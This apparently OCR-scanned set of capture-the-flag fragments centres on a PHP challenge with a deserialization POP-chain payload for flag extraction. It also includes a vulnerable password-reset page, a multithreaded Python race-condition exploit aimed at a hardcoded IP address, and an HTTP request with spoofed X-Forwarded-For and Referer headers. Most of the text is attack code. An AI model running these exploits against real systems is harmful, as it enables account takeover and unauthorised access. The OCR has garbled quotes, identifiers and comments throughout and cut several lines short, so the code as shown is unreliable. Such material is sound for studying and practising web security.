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<?php
$FLAG = "flag{aaaaaaaal";
class TOPA {
public $token;
public $ticket;
public $username;
public $password;
function _ toString() {
if ($this->username == 'aaaaaaaaaaaaaaaaa’ && $this->password == 'bbbbbbbbbbbbbbbbbb"') {
return ‘'key is:{' . $this->token . '}' . "\n";

}
class TOPB {

public $obj;
public $attr;
function __construct() {
$this->attr = null;
$this->obj = null;
}
function _ toString() {
$this->obj = unserialize($this->attr);
$this->obj->token = $FLAG;
if ($this->obj->token === $this->obj->ticket) {
return (string) $this->obj;

}
class TOPC {

public $obj;

public $attr;

function __ wakeup() {
$this->attr = null;
$this->obj = null;

}

function __destruct() {
echo $this->attr;
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<?php

$b = new TOPA;

$b->token = Null;

$b->ticket = &$b->token;
$b->username = 'aaaaaaaaaaaaaaaaa’;
$b->password = 'bbbbbbbbbbbbbbbbbb" ;
echo serialize($b) . "\n\n";

$a = new TOPB;
$a->attr = '0:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";s:17:"aaaaaaaaaaaaaaaaa";s:8:"passw

$a->obj = '';
// echo serialize($a) . "\n\n";

$c = new TOPC;

$c->attr = $a;
echo serialize($c) . "\n\n";
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<?php
header ("Content-type: text/html; charset=utf-8");
session_start();

$mysqli = new mysqli("localhost", "root", "", "gctfe9o");
if ($mysqli->connect_errno) {

die("HiEFEEZE R, SWHIERAEHER. ");

/ /3T ENYERS

if(isset($_REQUEST[ 'showcode'])){
highlight_file(__ FILE__ );
exit();

}
$user="";
// IR 5 i A B P
if(!isset($_SESSION["name"])){
$user=substr(md5(uniqid().uniqid()),8,16);
$_SESSION[ "name"]=$user;
$stmt = $mysqli->prepare("INSERT INTO gctf@9. user”™ (name,pass) VALUES (?,?)");
$stmt->bind_param("“ss",$user,md5($user));
$stmt->execute();
$stmt->close();
$stmt = $mysqli->prepare("INSERT INTO gctf@9. priv" (name,notadmin) VALUES (?,TRUE)");
$stmt->bind_param("s",$user);
$stmt->execute();
$stmt->close();
}else{
$user=$_SESSION["name"];

}
//EENEEAFER
if($_SERVER["REQUEST_METHOD"] === "POST" && $_GET[ 'method']==="reset" && isset($_POST['password']) ){
$stmt = $mysqli->prepare("DELETE FROM gctf@9. user™ where name=?");
$stmt->bind_param("s",$user);
$stmt->execute();
$stmt = $mysqli->prepare("DELETE FROM gctf@9. priv- where name=?");
$stmt->bind_param("s",$user);
$stmt->execute();
$stmt = $mysqli->prepare("INSERT INTO gctf@9. user” (name,pass) VALUES (?,?)");
$stmt->bind_param("“ss",$user,md5($_POST[ 'password']));
$stmt->execute();
$stmt->close();
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$stmt = $mysqli->prepare("INSERT INTO gctf@9. priv" (name,notadmin) VALUES (?,TRUE)");
$stmt->bind_param("s",$user);
$stmt->execute();
$stmt->close();
$mysqli->close();
die("BHUHI");
}

$mysqli->close();
?>
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#coding=utf8
import requests
from bs4 import BeautifulSoup
import threading
user = "'
def exp():
global user
while True:
s = requests.session()
r = s.get('http://218.2.197.242:18009/")
soup = BeautifulSoup(r.content, 'html.parser')
user = soup.find(id="name")['value']
print user

data = {
'password’' : 'helloworld'

}
rl = s.post('http://218.2.197.242:18009/index.php?method=reset’',data=data)

def login():
global user
while True:
data = {
'name’ : user,
‘password' : 'helloworld’
}
r2 = requests.post('http://218.2.197.242:18009/1ogin.php?method=1ogin’',data=data)
print user,r2.content

def main():
global user
threadpool=[]

for n in xrange(390):
th = threading.Thread(target=1login)
th.setDaemon(True)
threadpool.append(th)

for n in xrange(3):
th = threading.Thread(target=exp)
th.setDaemon(True)
threadpool.append(th)

for th in threadpool:
th.start()

for th in threadpool :
threading.Thread.join(th)

if _name__ == '_main__':

main()
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Forbidden

GET / HTTP/1.1

Host: www.topsec.com

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows 98; .NET CLR 8)

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://www.baidu.com

Accept-Encoding: gzip, deflate, sdch

Accept-Language: de-DE

Cookie: login=4e7a51334d6a63314e6a553d; PHPSESSID=h2cbas2n7mbli@hkl155sc8407; 186221D9=1; 6EE211F6=1;
X-Forwarded-For: localhost

x-requested-with: XMLHttpRequest

Connection: close
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